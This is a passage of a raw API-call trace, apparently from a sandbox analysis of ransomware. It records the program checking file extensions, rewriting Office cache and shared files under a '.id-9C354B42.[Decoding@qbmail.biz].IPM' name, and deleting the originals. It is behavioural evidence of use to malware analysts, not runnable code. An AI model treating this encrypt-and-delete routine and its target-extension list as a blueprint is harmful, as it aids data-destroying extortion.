nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.244] SetEndOfFile (hFile=0x1fc) returned 1 [0073.245] CloseHandle (hObject=0x1fc) returned 1 [0073.246] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.246] SetEndOfFile (hFile=0x1f0) returned 1 [0073.247] CloseHandle (hObject=0x1f0) returned 1 [0073.264] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0073.264] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0073.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.265] lstrlenW (lpString=".doc") returned 4 [0073.265] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.265] lstrlenW (lpString=".docx") returned 5 [0073.265] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0073.265] lstrlenW (lpString=".pdf") returned 4 [0073.265] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.265] lstrlenW (lpString=".xls") returned 4 [0073.265] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.265] lstrlenW (lpString=".xlsx") returned 5 [0073.265] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0073.265] lstrlenW (lpString=".ppt") returned 4 [0073.265] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.265] lstrlenW (lpString=".zip") returned 4 [0073.265] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.265] lstrlenW (lpString=".rar") returned 4 [0073.265] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.265] lstrlenW (lpString=".bz2") returned 4 [0073.265] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.265] lstrlenW (lpString=".7z") returned 3 [0073.266] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.266] lstrlenW (lpString=".dbf") returned 4 [0073.266] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.266] lstrlenW (lpString=".1cd") returned 4 [0073.266] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.266] lstrlenW (lpString=".jpg") returned 4 [0073.266] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.266] lstrlenW (lpString=".doc") returned 4 [0073.266] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.266] lstrlenW (lpString=".docx") returned 5 [0073.266] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0073.266] lstrlenW (lpString=".pdf") returned 4 [0073.266] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.267] lstrlenW (lpString=".xls") returned 4 [0073.267] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.267] lstrlenW (lpString=".xlsx") returned 5 [0073.267] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0073.267] lstrlenW (lpString=".ppt") returned 4 [0073.267] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.267] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.267] lstrlenW (lpString=".zip") returned 4 [0073.267] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.267] lstrlenW (lpString=".rar") returned 4 [0073.267] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.267] lstrlenW (lpString=".bz2") returned 4 [0073.267] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.267] lstrlenW (lpString=".7z") returned 3 [0073.267] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.267] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.267] lstrlenW (lpString=".dbf") returned 4 [0073.267] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.267] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.267] lstrlenW (lpString=".1cd") returned 4 [0073.267] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.268] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.268] lstrlenW (lpString=".jpg") returned 4 [0073.268] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.268] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0073.268] lstrlenW (lpString="branding.xml") returned 12 [0073.268] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.271] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=596341) returned 1 [0073.272] CloseHandle (hObject=0x1f0) returned 1 [0073.272] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0073.272] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0073.272] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.272] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.272] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.272] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0073.284] GetLastError () returned 0x0 [0073.284] ReadFile (in: hFile=0x1f0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x91975, lpOverlapped=0x0) returned 1 [0073.735] WriteFile (in: hFile=0x1fc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0073.751] ReadFile (in: hFile=0x1f0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.751] WriteFile (in: hFile=0x1fc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0073.751] SetEndOfFile (hFile=0x1fc) returned 1 [0073.751] CloseHandle (hObject=0x1fc) returned 1 [0074.506] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.506] SetEndOfFile (hFile=0x1f0) returned 1 [0074.518] CloseHandle (hObject=0x1f0) returned 1 [0074.518] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0074.519] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0074.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.519] lstrlenW (lpString=".doc") returned 4 [0074.519] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.520] lstrlenW (lpString=".docx") returned 5 [0074.520] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0074.520] lstrlenW (lpString=".pdf") returned 4 [0074.520] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.520] lstrlenW (lpString=".xls") returned 4 [0074.520] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.520] lstrlenW (lpString=".xlsx") returned 5 [0074.520] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0074.520] lstrlenW (lpString=".ppt") returned 4 [0074.520] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.520] lstrlenW (lpString=".zip") returned 4 [0074.520] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.521] lstrlenW (lpString=".rar") returned 4 [0074.521] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.521] lstrlenW (lpString=".bz2") returned 4 [0074.521] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.521] lstrlenW (lpString=".7z") returned 3 [0074.522] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.522] lstrlenW (lpString=".dbf") returned 4 [0074.522] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.522] lstrlenW (lpString=".1cd") returned 4 [0074.522] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.522] lstrlenW (lpString=".jpg") returned 4 [0074.522] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.522] lstrlenW (lpString=".doc") returned 4 [0074.522] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.522] lstrlenW (lpString=".docx") returned 5 [0074.522] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0074.522] lstrlenW (lpString=".pdf") returned 4 [0074.523] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.523] lstrlenW (lpString=".xls") returned 4 [0074.523] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.523] lstrlenW (lpString=".xlsx") returned 5 [0074.523] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0074.523] lstrlenW (lpString=".ppt") returned 4 [0074.523] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.523] lstrlenW (lpString=".zip") returned 4 [0074.523] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.523] lstrlenW (lpString=".rar") returned 4 [0074.523] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.523] lstrlenW (lpString=".bz2") returned 4 [0074.523] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.523] lstrlenW (lpString=".7z") returned 3 [0074.523] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.523] lstrlenW (lpString=".dbf") returned 4 [0074.523] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.523] lstrlenW (lpString=".1cd") returned 4 [0074.523] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0074.524] lstrlenW (lpString=".jpg") returned 4 [0074.524] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.524] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0074.524] lstrlenW (lpString="Office32WW.xml") returned 14 [0074.524] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0077.002] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=4274) returned 1 [0077.002] CloseHandle (hObject=0x1f8) returned 1 [0077.002] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0077.002] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0077.002] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0077.003] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.003] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.003] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0077.004] GetLastError () returned 0x0 [0077.004] ReadFile (in: hFile=0x1f8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0077.024] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0077.026] ReadFile (in: hFile=0x1f8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.026] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0077.026] SetEndOfFile (hFile=0x204) returned 1 [0077.027] CloseHandle (hObject=0x204) returned 1 [0077.028] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.028] SetEndOfFile (hFile=0x1f8) returned 1 [0077.030] CloseHandle (hObject=0x1f8) returned 1 [0077.030] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0077.031] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0077.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.031] lstrlenW (lpString=".doc") returned 4 [0077.031] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.032] lstrlenW (lpString=".docx") returned 5 [0077.032] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0077.032] lstrlenW (lpString=".pdf") returned 4 [0077.032] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.032] lstrlenW (lpString=".xls") returned 4 [0077.032] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.032] lstrlenW (lpString=".xlsx") returned 5 [0077.032] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0077.033] lstrlenW (lpString=".ppt") returned 4 [0077.033] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.033] lstrlenW (lpString=".zip") returned 4 [0077.033] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.033] lstrlenW (lpString=".rar") returned 4 [0077.033] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.033] lstrlenW (lpString=".bz2") returned 4 [0077.034] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.034] lstrlenW (lpString=".7z") returned 3 [0077.034] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.034] lstrlenW (lpString=".dbf") returned 4 [0077.034] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.034] lstrlenW (lpString=".1cd") returned 4 [0077.034] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.034] lstrlenW (lpString=".jpg") returned 4 [0077.034] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.034] lstrlenW (lpString=".doc") returned 4 [0077.034] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.035] lstrlenW (lpString=".docx") returned 5 [0077.035] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0077.035] lstrlenW (lpString=".pdf") returned 4 [0077.035] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.035] lstrlenW (lpString=".xls") returned 4 [0077.035] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.035] lstrlenW (lpString=".xlsx") returned 5 [0077.035] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0077.035] lstrlenW (lpString=".ppt") returned 4 [0077.035] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.035] lstrlenW (lpString=".zip") returned 4 [0077.035] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.035] lstrlenW (lpString=".rar") returned 4 [0077.035] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.036] lstrlenW (lpString=".bz2") returned 4 [0077.036] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.036] lstrlenW (lpString=".7z") returned 3 [0077.036] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.036] lstrlenW (lpString=".dbf") returned 4 [0077.036] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.036] lstrlenW (lpString=".1cd") returned 4 [0077.036] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0077.036] lstrlenW (lpString=".jpg") returned 4 [0077.036] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.037] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0077.037] lstrlenW (lpString="MS.GIF") returned 6 [0077.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0077.037] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1069) returned 1 [0077.038] CloseHandle (hObject=0x1f8) returned 1 [0077.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0077.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0077.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0077.044] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.044] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0077.045] GetLastError () returned 0x0 [0077.045] ReadFile (in: hFile=0x1f8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x42d, lpOverlapped=0x0) returned 1 [0077.048] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x430, lpOverlapped=0x0) returned 1 [0077.051] ReadFile (in: hFile=0x1f8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.051] WriteFile (in: hFile=0x204, 